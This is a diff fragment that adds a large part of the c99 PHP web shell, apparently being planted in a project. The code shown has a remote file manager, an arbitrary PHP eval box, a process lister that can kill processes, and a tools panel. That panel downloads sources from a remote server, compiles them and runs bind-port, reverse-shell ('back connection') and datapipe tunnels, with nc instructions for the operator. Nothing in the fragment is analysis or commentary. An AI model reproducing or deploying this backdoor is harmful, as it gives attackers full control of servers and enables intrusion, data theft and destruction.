+ closedir($h); + } + else {} + } + if (count($list) == 0) {echo "<center><b>Can't open folder (".htmlspecialchars($d).")!</b></center>";} + else + { + //Building array + $objects = array(); + $vd = "f"; //Viewing mode + if ($vd == "f") + { + $objects["head"] = array(); + $objects["folders"] = array(); + $objects["links"] = array(); + $objects["files"] = array(); + foreach ($list as $v) + { + $o = basename($v); + $row = array(); + if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";} + elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";} + elseif (is_dir($v)) + { + if (is_link($v)) {$type = "LINK";} + else {$type = "DIR";} + $row[] = $v; + $row[] = $type; + } + elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);} + $row[] = filemtime($v); + if (!$win) + { + $ow = posix_getpwuid(fileowner($v)); + $gr = posix_getgrgid(filegroup($v)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v)); + } + $row[] = fileperms($v); + if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;} + elseif (is_link($v)) {$objects["links"][] = $row;} + elseif (is_dir($v)) {$objects["folders"][] = $row;} + elseif (is_file($v)) {$objects["files"][] = $row;} + $i++; + } + $row = array(); + $row[] = "<b>Name</b>"; + $row[] = "<b>Size</b>"; + $row[] = "<b>Modify</b>"; + if (!$win) + {$row[] = "<b>Owner/Group</b>";} + $row[] = "<b>Perms</b>"; + $row[] = "<b>Action</b>"; + $parsesort = parsesort($sort); + $sort = $parsesort[0].$parsesort[1]; + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$parsesort[1] = "d";} + $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">"; + $y .= "<img src=\"".$surl."act=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>"; + $row[$k] .= $y; + for($i=0;$i<count($row)-1;$i++) + { + if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";} + } + $v = $parsesort[0]; + usort($objects["folders"], "tabsort"); + usort($objects["links"], "tabsort"); + usort($objects["files"], "tabsort"); + if ($parsesort[1] == "d") + { + $objects["folders"] = array_reverse($objects["folders"]); + $objects["files"] = array_reverse($objects["files"]); + } + $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]); + $tab = array(); + $tab["cols"] = array($row); + $tab["head"] = array(); + $tab["folders"] = array(); + $tab["links"] = array(); + $tab["files"] = array(); + $i = 0; + foreach ($objects as $a) + { + $v = $a[0]; + $o = basename($v); + $dir = dirname($v); + if ($disp_fullpath) {$disppath = $v;} + else {$disppath = $o;} + $disppath = str2mini($disppath,60); + if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";} + elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";} + foreach ($regxp_highlight as $r) + { + if (ereg($r[0],$o)) + { + if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c99shexit();} + else + { + $r[1] = round($r[1]); + $isdir = is_dir($v); + if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) + { + if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";} + $disppath = $r[2].$disppath.$r[3]; + if ($r[4]) {break;} + } + } + } + } + $uo = urlencode($o); + $ud = urlencode($dir); + $uv = urlencode($v); + $row = array(); + if ($o == ".") + { + $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; + $row[] = "LINK"; + } + elseif ($o == "..") + { + $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; + $row[] = "LINK"; + } + elseif (is_dir($v)) + { + if (is_link($v)) + { + $disppath .= " => ".readlink($v); + $type = "LINK"; + $row[] = "<img src=\"".$surl."act=img&img=ext_lnk\" height=\"16\" width=\"16\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; + } + else + { + $type = "DIR"; + $row[] = "<img src=\"".$surl."act=img&img=small_dir\" height=\"16\" width=\"19\" border=\"0\">&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; + } + $row[] = $type; + } + elseif(is_file($v)) + { + $ext = explode(".",$o); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $row[] = "<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>"; + $row[] = view_size($a[1]); + } + $row[] = date("d.m.Y H:i:s",$a[2]); + if (!$win) {$row[] = $a[3];} + $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>"; + if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;} + else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";} + if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;".$checkbox;} + else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."act=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."act=img&img=download\" alt=\"Download\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;".$checkbox;} + if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;} + elseif (is_link($v)) {$tab["links"][] = $row;} + elseif (is_dir($v)) {$tab["folders"][] = $row;} + elseif (is_file($v)) {$tab["files"][] = $row;} + $i++; + } + } + // Compiling table + $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]); + echo "<center><b>Listing folder (".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#333333 borderColorLight=#433333 border=0><form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=act value=".$dspact."><input type=hidden name=d value=".$d.">"; + foreach($table as $row) + { + echo "<tr>\r\n"; + foreach($row as $v) {echo "<td>".$v."</td>\r\n";} + echo "</tr>\r\n"; + } + echo "</table><hr size=\"1\" noshade><p align=\"right\"> + <script> + function ls_setcheckboxall(status) + { + var id = 1; + var num = ".(count($table)-2)."; + while (id <= num) + { + document.getElementById('actbox'+id).checked = status; + id++; + } + } + function ls_reverse_all() + { + var id = 1; + var num = ".(count($table)-2)."; + while (id <= num) + { + document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; + id++; + } + } + </script> + <input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\"> + <b><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\">"; + if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) + { + echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"; + } + echo "<select name=act><option value=\"".$act."\">With selected:</option>"; + echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>"; + echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>"; + if ($usefsbuff) + { + echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>"; + echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>"; + echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>"; + } + echo "</select>&nbsp;<input type=submit value=\"Confirm\"></p>"; + echo "</form>"; + } +} +if ($act == "tools") +{ + $bndportsrcs = array( + "c99sh_bindport.pl"=>array("Using PERL","perl %path %port"), + "c99sh_bindport.c"=>array("Using C","%path %port %pass") + ); + $bcsrcs = array( + "c99sh_backconn.pl"=>array("Using PERL","perl %path %host %port"), + "c99sh_backconn.c"=>array("Using C","%path %host %port") + ); + $dpsrcs = array( + "c99sh_datapipe.pl"=>array("Using PERL","perl %path %localport %remotehost %remoteport"), + "c99sh_datapipe.c"=>array("Using C","%path %localport %remoteport %remotehost") + ); + if (!is_array($bind)) {$bind = array();} + if (!is_array($bc)) {$bc = array();} + if (!is_array($datapipe)) {$datapipe = array();} + + if (!is_numeric($bind["port"])) {$bind["port"] = $bindport_port;} + if (empty($bind["pass"])) {$bind["pass"] = $bindport_pass;} + + if (empty($bc["host"])) {$bc["host"] = getenv("REMOTE_ADDR");} + if (!is_numeric($bc["port"])) {$bc["port"] = $bc_port;} + + if (empty($datapipe["remoteaddr"])) {$datapipe["remoteaddr"] = "irc.dalnet.ru:6667";} + if (!is_numeric($datapipe["localport"])) {$datapipe["localport"] = $datapipe_localport;} + if (!empty($bindsubmit)) + { + echo "<b>Result of binding port:</b><br>"; + $v = $bndportsrcs[$bind["src"]]; + if (empty($v)) {echo "Unknown file!<br>";} + elseif (fsockopen(getenv("SERVER_ADDR"),$bind["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";} + else + { + $w = explode(".",$bind["src"]); + $ext = $w[count($w)-1]; + unset($w[count($w)-1]); + $srcpath = join(".",$w).".".rand(0,999).".".$ext; + $binpath = $tmpdir.join(".",$w).rand(0,999); + if ($ext == "pl") {$binpath = $srcpath;} + @unlink($srcpath); + $fp = fopen($srcpath,"ab+"); + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} + elseif (!$data = c99getsource($bind["src"])) {echo "Can't download sources!";} + else + { + fwrite($fp,$data,strlen($data)); + fclose($fp); + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + $v[1] = str_replace("%path",$binpath,$v[1]); + $v[1] = str_replace("%port",$bind["port"],$v[1]); + $v[1] = str_replace("%pass",$bind["pass"],$v[1]); + $v[1] = str_replace("//","/",$v[1]); + $retbind = myshellexec($v[1]." > /dev/null &"); + sleep(5); + $sock = fsockopen("localhost",$bind["port"],$errno,$errstr,5); + if (!$sock) {echo "I can't connect to localhost:".$bind["port"]."! I think you should configure your firewall.";} + else {echo "Binding... ok! Connect to <b>".getenv("SERVER_ADDR").":".$bind["port"]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View binder's process</u></a></center>";} + } + echo "<br>"; + } + } + if (!empty($bcsubmit)) + { + echo "<b>Result of back connection:</b><br>"; + $v = $bcsrcs[$bc["src"]]; + if (empty($v)) {echo "Unknown file!<br>";} + else + { + $w = explode(".",$bc["src"]); + $ext = $w[count($w)-1]; + unset($w[count($w)-1]); + $srcpath = join(".",$w).".".rand(0,999).".".$ext; + $binpath = $tmpdir.join(".",$w).rand(0,999); + if ($ext == "pl") {$binpath = $srcpath;} + @unlink($srcpath); + $fp = fopen($srcpath,"ab+"); + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} + elseif (!$data = c99getsource($bc["src"])) {echo "Can't download sources!";} + else + { + fwrite($fp,$data,strlen($data)); + fclose($fp); + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + $v[1] = str_replace("%path",$binpath,$v[1]); + $v[1] = str_replace("%host",$bc["host"],$v[1]); + $v[1] = str_replace("%port",$bc["port"],$v[1]); + $v[1] = str_replace("//","/",$v[1]); + $retbind = myshellexec($v[1]." > /dev/null &"); + echo "Now script try connect to ".htmlspecialchars($bc["host"]).":".htmlspecialchars($bc["port"])."...<br>"; + } + } + } + if (!empty($dpsubmit)) + { + echo "<b>Result of datapipe-running:</b><br>"; + $v = $dpsrcs[$datapipe["src"]]; + if (empty($v)) {echo "Unknown file!<br>";} + elseif (fsockopen(getenv("SERVER_ADDR"),$datapipe["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!<br>";} + else + { + $srcpath = $tmpdir.$datapipe["src"]; + $w = explode(".",$datapipe["src"]); + $ext = $w[count($w)-1]; + unset($w[count($w)-1]); + $srcpath = join(".",$w).".".rand(0,999).".".$ext; + $binpath = $tmpdir.join(".",$w).rand(0,999); + if ($ext == "pl") {$binpath = $srcpath;} + @unlink($srcpath); + $fp = fopen($srcpath,"ab+"); + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!<br>";} + elseif (!$data = c99getsource($datapipe["src"])) {echo "Can't download sources!";} + else + { + fwrite($fp,$data,strlen($data)); + fclose($fp); + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + list($datapipe["remotehost"],$datapipe["remoteport"]) = explode(":",$datapipe["remoteaddr"]); + $v[1] = str_replace("%path",$binpath,$v[1]); + $v[1] = str_replace("%localport",$datapipe["localport"],$v[1]); + $v[1] = str_replace("%remotehost",$datapipe["remotehost"],$v[1]); + $v[1] = str_replace("%remoteport",$datapipe["remoteport"],$v[1]); + $v[1] = str_replace("//","/",$v[1]); + $retbind = myshellexec($v[1]." > /dev/null &"); + sleep(5); + $sock = fsockopen("localhost",$datapipe["port"],$errno,$errstr,5); + if (!$sock) {echo "I can't connect to localhost:".$datapipe["localport"]."! I think you should configure your firewall.";} + else {echo "Running datapipe... ok! Connect to <b>".getenv("SERVER_ADDR").":".$datapipe["port"].", and you will connected to ".$datapipe["remoteaddr"]."</b>! You should use NetCat&copy;, run \"<b>nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."</b>\"!<center><a href=\"".$surl."act=processes&grep=".basename($binpath)."\"><u>View datapipe process</u></a></center>";} + } + echo "<br>"; + } + } + ?><b>Binding port:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">Port: <input type=text name="bind[port]" value="<?php echo htmlspecialchars($bind["port"]); ?>">&nbsp;Password: <input type=text name="bind[pass]" value="<?php echo htmlspecialchars($bind["pass"]); ?>">&nbsp;<select name="bind[src]"><?php + foreach($bndportsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bind["src"]) {echo " selected";} echo ">".$v[0]."</option>";} + ?></select>&nbsp;<input type=submit name=bindsubmit value="Bind"></form> +<b>Back connection:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="bc[host]" value="<?php echo htmlspecialchars($bc["host"]); ?>">&nbsp;Port: <input type=text name="bc[port]" value="<?php echo htmlspecialchars($bc["port"]); ?>">&nbsp;<select name="bc[src]"><?php +foreach($bcsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";} +?></select>&nbsp;<input type=submit name=bcsubmit value="Connect"></form> +Click "Connect" only after open port for it. You should use NetCat&copy;, run "<b>nc -l -n -v -p <?php echo $bc_port; ?></b>"!<br><br> +<b>Datapipe:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="datapipe[remoteaddr]" value="<?php echo htmlspecialchars($datapipe["remoteaddr"]); ?>">&nbsp;Local port: <input type=text name="datapipe[localport]" value="<?php echo htmlspecialchars($datapipe["localport"]); ?>">&nbsp;<select name="datapipe[src]"><?php +foreach($dpsrcs as $k=>$v) {echo "<option value=\"".$k."\""; if ($k == $bc["src"]) {echo " selected";} echo ">".$v[0]."</option>";} +?></select>&nbsp;<input type=submit name=dpsubmit value="Run"></form><b>Note:</b> sources will be downloaded from remote server.<?php +} +if ($act == "processes") +{ + echo "<b>Processes:</b><br>"; + if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");} + else {$handler = "tasklist";} + $ret = myshellexec($handler); + if (!$ret) {echo "Can't execute \"".$handler."\"!";} + else + { + if (empty($processes_sort)) {$processes_sort = $sort_default;} + $parsesort = parsesort($processes_sort); + if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;} + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + $ret = htmlspecialchars($ret); + if (!$win) + { + if ($pid) + { + if (is_null($sig)) {$sig = 9;} + echo "Sending signal ".$sig." to #".$pid."... "; + if (posix_kill($pid,$sig)) {echo "OK.";} + else {echo "ERROR.";} + } + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + $stack = explode("\n",$ret); + $head = explode(" ",$stack[0]); + unset($stack[0]); + for($i=0;$i<count($head);$i++) + { + if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";} + } + $prcs = array(); + foreach ($stack as $line) + { + if (!empty($line)) +{ + echo "<tr>"; + $line = explode(" ",$line); + $line[10] = join(" ",array_slice($line,10)); + $line = array_slice($line,0,11); + if ($line[0] == get_current_user()) {$line[0] = "<font color=green>".$line[0]."</font>";} + $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>"; + $prcs[] = $line; + echo "</tr>"; + } + } + } + else + { + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg("",$ret)) {$ret = str_replace("","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + $ret = convert_cyr_string($ret,"d","w"); + $stack = explode("\n",$ret); + unset($stack[0],$stack[2]); + $stack = array_values($stack); + $head = explode("",$stack[0]); + $head[1] = explode(" ",$head[1]); + $head[1] = $head[1][0]; + $stack = array_slice($stack,1); + unset($head[2]); + $head = array_values($head); + if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\"><img src=\"".$surl."act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\"><img src=\"".$surl."act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";} + if ($k > count($head)) {$k = count($head)-1;} + for($i=0;$i<count($head);$i++) + { + if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>";} + } + $prcs = array(); + foreach ($stack as $line) + { + if (!empty($line)) + { + echo "<tr>"; + $line = explode("",$line); + $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]); + $line[2] = intval(str_replace(" ","",$line[2]))*1024; + $prcs[] = $line; + echo "</tr>"; + } + } + } + $head[$k] = "<b>".$head[$k]."</b>".$y; + $v = $processes_sort[0]; + usort($prcs,"tabsort"); + if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);} + $tab = array(); + $tab[] = $head; + $tab = array_merge($tab,$prcs); + echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">"; + foreach($tab as $i=>$k) + { + echo "<tr>"; + foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "<td>".$v."</td>";} + echo "</tr>"; + } + echo "</table>"; + } +} +if ($act == "eval") +{ + if (!empty($eval)) + { + echo "<b>Result of execution this PHP-code</b>:<br>"; + $tmp = ob_get_contents(); + $olddir = realpath("."); + @chdir($d); + if ($tmp) + { + ob_clean(); + eval($eval); + $ret = ob_get_contents(); + $ret = convert_cyr_string($ret,"d","w"); + ob_clean(); + echo $tmp; + if ($eval_txt) + { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret."<br>";} + } + else + { + if ($eval_txt) + { + echo "<br><textarea cols=\"122\" rows=\"15\" readonly>"; + eval($eval); + echo "</textarea>"; + } + else {echo $ret;} + } + @chdir($olddir); + } + else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}} + echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>"; +} +if ($act == "f") +{ + if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") + { + if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";} + else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";} + } + else + { + $r = @file_get_contents($d.$f); + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} + if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} + if (empty($ft)) {$ft = $rft;} + $arr = array( + array("<img src=\"".$surl."act=img&img=ext_diz\" border=\"0\">","info"), + array("<img src=\"".$surl."act=img&img=ext_html\" border=\"0\">","html"), + array("<img src=\"".$surl."act=img&img=ext_txt\" border=\"0\">","txt"), + array("Code","code"), + array("Session","phpsess"), + array("<img src=\"".$surl."act=img&img=ext_exe\" border=\"0\">","exe"), + array("SDB","sdb"), + array("<img src=\"".$surl."act=img&img=ext_gif\" border=\"0\">","img"), + array("<img src=\"".$surl."act=img&img=ext_ini\" border=\"0\">","ini"), + array("<img src=\"".$surl."act=img&img=download\" border=\"0\">","download"), + array("<img src=\"".$surl."act=img&img=ext_rtf\" border=\"0\">","notepad"), + array("<img src=\"".$surl."act=img&img=change\" border=\"0\">","edit") + ); + echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"".$surl."act=img&img=ext_".$ext."\" border=\"0\">&nbsp;".$f." (".view_size(filesize($d.$f)).") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".view_perms_color($d.$f)."</b><br>Select action/file-type:<br>"; + foreach($arr as $t) + { + if ($t[1] == $rft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><font color=green>".$t[0]."</font></a>";} + elseif ($t[1] == $ft) {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b><u>".$t[0]."</u></b></a>";} + else {echo " <a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&d=".urlencode($d)."\"><b>".$t[0]."</b></a>";} + echo " (<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=".$t[1]."&white=1&d=".urlencode($d)."\" target=\"_blank\">+</a>) |"; + } + echo "<hr size=\"1\" noshade>"; + if ($ft == "info") + { + echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> ".$d.$f."</td></tr><tr><td><b>Size</b></td><td> ".view_size(filesize($d.$f))."</td></tr><tr><td><b>MD5</b></td><td> ".md5_file($d.$f)."</td></tr>"; + if (!$win) + { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $ow = posix_getpwuid(fileowner($d.$f)); + $gr = posix_getgrgid(filegroup($d.$f)); + echo ($ow["name"]?$ow["name"]:fileowner($d.$f))."/".($gr["name"]?$gr["name"]:filegroup($d.$f)); + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&f=".urlencode($f)."&d=".urlencode($d)."\">".view_perms_color($d.$f)."</a></td></tr><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d.$f))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d.$f))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d.$f))."</td></tr></table><br>"; + $fi = fopen($d.$f,"rb"); + if ($fi) + { + if ($fullhexdump) {echo "<b>FULL HEXDUMP</b>"; $str = fread($fi,filesize($d.$f));} + else {echo "<b>HEXDUMP PREVIEW</b>"; $str = fread($fi,$hexdump_lines*$hexdump_rows);} + $n = 0; + $a0 = "00000000<br>"; + $a1 = ""; + $a2 = ""; + for ($i=0; $i<strlen($str); $i++) + { + $a1 .= sprintf("%02X",ord($str[$i]))." "; + switch (ord($str[$i])) + { + case 0: $a2 .= "<font>0</font>"; break; + case 32: + case 10: + case 13: $a2 .= "&nbsp;"; break; + default: $a2 .= htmlspecialchars($str[$i]); + } + $n++; + if ($n == $hexdump_rows) + { + $n = 0; + if ($i+1 < strlen($str)) {$a0 .= sprintf("%08X",$i+1)."<br>";} + $a1 .= "<br>"; + $a2 .= "<br>"; + } + } + //if ($a1 != "") {$a0 .= sprintf("%08X",$i)."<br>";} + echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>".$a0."</td><td bgcolor=000000>".$a1."</td><td bgcolor=000000>".$a2."</td></tr></table><br>"; + } + $encoded = ""; + if ($base64 == 1) + { + echo "<b>Base64 Encode</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + } + elseif($base64 == 2) + { + echo "<b>Base64 Encode + Chunk</b><br>"; + $encoded = chunk_split(base64_encode(file_get_contents($d.$f))); + } + elseif($base64 == 3) + { + echo "<b>Base64 Encode + Chunk + Quotes</b><br>"; + $encoded = base64_encode(file_get_contents($d.$f)); + $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2); + } + elseif($base64 == 4) + { + $text = file_get_contents($d.$f); + $encoded = base64_decode($text); + echo "<b>Base64 Decode"; + if (base64_encode($encoded) != $text) {echo " (failed)";} + echo "</b><br>"; + } + if (!empty($encoded)) + { + echo "<textarea cols=80 rows=10>".htmlspecialchars($encoded)."</textarea><br><br>"; + } + echo "<b>HEXDUMP:</b><nobr> [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&fullhexdump=1&d=".urlencode($d)."\">Full</a>] [<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&d=".urlencode($d)."\">Preview</a>]<br><b>Base64: </b> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=1&d=".urlencode($d)."\">Encode</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=2&d=".urlencode($d)."\">+chunk</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=3&d=".urlencode($d)."\">+chunk+quotes</a>]&nbsp;</nobr> +<nobr>[<a href=\"".$surl."act=f&f=".urlencode($f)."&ft=info&base64=4&d=".urlencode($d)."\">Decode</a>]&nbsp;</nobr> +<P>"; + } + elseif ($ft == "html") + { + if ($white) {@ob_clean();} + echo $r; + if ($white) {c99shexit();} + } + elseif ($ft == "txt") {echo "<pre>".htmlspecialchars($r)."</pre>";} + elseif ($ft == "ini") {echo "<pre>"; 